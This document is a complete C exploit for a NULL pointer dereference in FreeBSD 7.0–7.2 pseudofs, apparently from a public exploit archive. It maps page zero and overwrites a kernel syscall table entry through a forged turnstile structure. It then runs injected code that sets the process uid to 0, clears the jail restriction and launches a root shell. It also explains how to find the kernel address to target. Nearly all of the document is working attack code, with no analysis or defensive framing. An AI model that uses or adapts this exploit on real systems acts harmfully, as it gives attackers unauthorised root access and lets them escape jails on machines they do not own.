FreeBSD 'pseudofs' NULL Pointer Dereference Local Privilege Escalation Vulnerability

                                                /*
 * Source: http://www.securityfocus.com/bid/43060/info
 * 18.08.2010, babcia padlina
 * FreeBSD 7.0 - 7.2 pseudofs null ptr dereference exploit
 *
 *
 * to obtain SYSENT8_SYCALL_ADDR, run:
 * $ kgdb /boot/kernel/kernel
 * (kgdb) print &sysent[8].sy_call
 */
 
#define SYSENT8_SYCALL_ADDR 0xc0c4afa4  /* FreeBSD 7.2-RELEASE */
 
#define _KERNEL
 
#include <sys/param.h>
#include <sys/conf.h>
#include <sys/ucred.h>
 
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
 
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/proc.h>
#include <sys/types.h>
#include <sys/extattr.h>
#include <sys/uio.h>
#include <sys/turnstile.h>
#include <sys/queue.h>
 
struct turnstile {
    struct mtx ts_lock;
    struct threadqueue ts_blocked[2];
    struct threadqueue ts_pending;
    LIST_ENTRY(turnstile) ts_hash;
    LIST_ENTRY(turnstile) ts_link;
    LIST_HEAD(, turnstile) ts_free;
    struct lock_object *ts_lockobj;
    struct thread *ts_owner;
};
 
volatile int gotroot = 0;
 
static void kernel_code(void) {
    struct thread *thread;
 
    asm(
        "movl %%fs:0, %0"
        : "=r"(thread)
    );
 
    /*
     * kernel_code() is called while thread is in critical section,
     * so we need to unset td_critnest flag to prevent panic after
     * nearest user mode page fault.
     */
    thread->td_critnest = 0;
    thread->td_proc->p_ucred->cr_uid = 0;
    thread->td_proc->p_ucred->cr_prison = NULL;
    gotroot = 1;
 
    return;
}
 
int main(int argc, char **argv) {
    struct turnstile *ts = 0;
 
    if (access("/proc/curproc/cmdline", R_OK)) {
        printf("procfs not found.\n");
        return -1;
    }
 
    if (mmap(0, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) == MAP_FAILED) {
        printf("mmap 0x0 failed.\n");
        return -1;
    }
 
    memset(0, 0, PAGE_SIZE);
 
    /*
     * we need to call dummy extattr_get_link() here, to make
     * libc memory pages accessible without user mode page fault. without
     * it, panic will occur after next extattr_get_link().
     */
    extattr_get_link("/dev/null", 0, 0, 0, 0);
 
    /* overwrite sysent[8].sy_call with 0x0 */
    ts->ts_blocked[0].tqh_first = (void *)(SYSENT8_SYCALL_ADDR - 0x1c);
    extattr_get_link("/proc/curproc/cmdline", 0, 0, 0, 0);
 
    *(char *)0x0 = 0x90;
    *(char *)0x1 = 0xe9;
    *(unsigned long *)0x2 = &kernel_code;
 
    asm(
        "movl $0x8, %eax;"
        "int $0x80;"
    );
 
    if (gotroot) {
        printf("oops, I did it again.\n");
        setuid(0);
        setgid(0);
        execl("/bin/sh", "sh", NULL);
    }
 
    printf("exploit failed.\n");
 
    return 0;
}